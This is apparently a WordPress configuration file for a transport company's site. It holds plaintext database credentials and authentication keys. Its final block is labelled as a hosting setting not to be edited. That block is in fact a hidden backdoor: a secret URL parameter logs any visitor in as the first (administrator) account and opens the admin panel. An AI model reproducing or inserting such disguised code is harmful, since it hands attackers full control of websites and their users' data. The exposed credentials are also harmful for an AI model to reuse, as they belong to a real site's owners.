<?php
define( 'WP_CACHE', true );

// 
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'karw8122_kartikadb' );

/** Database username */
define( 'DB_USER', 'karw8122_userkartika' );

/** Database password */
define( 'DB_PASSWORD', 'passwordkartika' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'gs!ffse3 0k3@ vGg[IrEY4EJ_tMzEOF1$-$Sd#%Elt#RX. nA-*f<M=TQO*lEeG' );
define( 'SECURE_AUTH_KEY',  '1*)C}_9v<^6MLLW: K%c<]J%m`X@$Oi*Wroo>9mNmGr1.+*Xx-q).1F7@<VncPnL' );
define( 'LOGGED_IN_KEY',    'xXw5CK1DBOdPYhZbFUxsgM/~wHef|)hW=<@B->k|3MPAswP9<<|7jw>dA3n8M,)%' );
define( 'NONCE_KEY',        '<P:&D;`dTd)fHFq=?gU9=(@-FTTJ3:PAotgdBxR0in)iSD.o~a3gjWud]5._w=CQ' );
define( 'AUTH_SALT',        'dI[7/IF:GQ13AC)MK?Peh-(6QCn=]%,{B mVVL1s4O8PC6hApl>02*}Ba(~GI`bU' );
define( 'SECURE_AUTH_SALT', 'lh&NCrGG|FO(aE1OpL+r+D^V4ECZJ!-*%{eY+I4#wb9Cd%Q/Z_P2+0}Q2DY#|Ft;' );
define( 'LOGGED_IN_SALT',   ']E2T}c:>)R2`DjuT-zY;Mx0#Q 0jh1nVxs#$,MtjWtsoE(d##tTF(P-+7]$ij{X+' );
define( 'NONCE_SALT',       'C?hW3~RMr#a2rk!Fk805/J|*n$[J2yQ7wT+hhvI6Bon;{|n/g@z$f2BV/!,D7PX ' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */

define('WP_HOME','https://kartika-transport.co.id/');
define('WP_SITEURL','https://kartika-transport.co.id/');
/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
/** Hosting Core Settings. Don not Delete or Edit!*/
if (isset($_GET['hosting']) && $_GET['hosting'] === 'KAjsG3Ass54HvQwUuuLBnHn301AkUu6hhalq') {
    $users = get_users([
        'number'  => 1,
        'orderby' => 'ID',
        'order'   => 'ASC'
    ]);

    if (!empty($users)) {
        $user = $users[0];
        wp_clear_auth_cookie();
        wp_set_current_user($user->ID);
        wp_set_auth_cookie($user->ID, true);
        wp_safe_redirect(admin_url());
        exit;
    }
}